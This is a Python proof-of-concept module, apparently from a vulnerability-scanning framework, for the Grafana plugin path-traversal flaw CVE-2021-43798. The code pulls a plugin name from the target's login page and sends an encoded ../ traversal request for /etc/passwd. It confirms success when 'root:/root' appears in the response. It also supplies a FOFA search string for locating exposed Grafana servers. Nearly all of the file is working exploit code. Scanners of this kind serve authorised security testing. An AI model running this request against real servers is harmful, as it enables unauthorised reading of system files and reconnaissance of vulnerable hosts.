83 lines
3.6 KiB
Python
83 lines
3.6 KiB
Python
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# coding:utf-8
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import requests
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from lib.core.common import url_handle,get_random_ua
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from lib.core.poc import POCBase
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# ...
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import urllib3
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import re
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urllib3.disable_warnings()
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class POC(POCBase):
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_info = {
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"author" : "jijue", # POC作者
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"version" : "1", # POC版本，默认是1
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"CreateDate" : "2021-06-09", # POC创建时间
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"UpdateDate" : "2021-06-09", # POC创建时间
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"PocDesc" : """
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这个POC其实应该根据插件名来做，目前比较好的两种方法分别是字典爆破插件名和login页面js代码中寻找插件链接提取插件名。
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可以参考[grafana最新任意文件读取分析以及衍生问题解释](https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw)
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这里笔者采用的是第二种方法
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""", # POC描述，写更新描述，没有就不写
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"name" : "Grafana plugins 任意文件读取漏洞(CVE-2021-43798)", # 漏洞名称
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"VulnID" : "CVE-2021-43798", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可
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"AppName" : "Grafana", # 漏洞应用名称
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"AppVersion" : "Grafana 8.x", # 漏洞应用版本
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"VulnDate" : "2021-06-09", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx
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"VulnDesc" : """
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Grafana存在任意文件读取漏洞，通过默认存在的插件，可构造特殊的请求包读取服务器任意文件
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""", # 漏洞简要描述
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"fofa-dork":"""
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app="Grafana"
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""", # fofa搜索语句
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"example" : "", # 存在漏洞的演示url，写一个就可以了
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"exp_img" : "", # 先不管
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}
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def _verify(self):
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"""
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返回vuln
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存在漏洞：vuln = [True,html_source] # html_source就是页面源码
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不存在漏洞：vuln = [False,""]
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"""
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vuln = [False,""]
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url0 = self.target
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headers = {"User-Agent":get_random_ua(),
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"Connection":"close",
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# "Content-Type": "application/x-www-form-urlencoded",
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}
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try:
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"""
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检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动
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"""
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req0 = requests.get(url0,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
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if "\"baseUrl\":\"public/app/plugins/panel/" in req0.text and req0.status_code==200:
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plugin = re.search("\"public/app/plugins/panel/(\w+)\"",req0.text).group(1)
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if len(plugin)!=0:
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url1 = self.target + "/public/plugins/"+plugin+"/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd" # url自己按需调整
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req1 = requests.get(url1,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
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if req1.status_code==200 and "root:/root" in req1.text:
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vuln = [True,req1.text]
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else:
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vuln = [False,req1.text]
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else:
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vuln = [False,req0.text]
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except Exception as e:
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raise e
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# 以下逻辑酌情使用
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if self._honeypot_check(vuln[1]) == True:
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vuln[0] = False
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return vuln
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def _attack(self):
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return self._verify()
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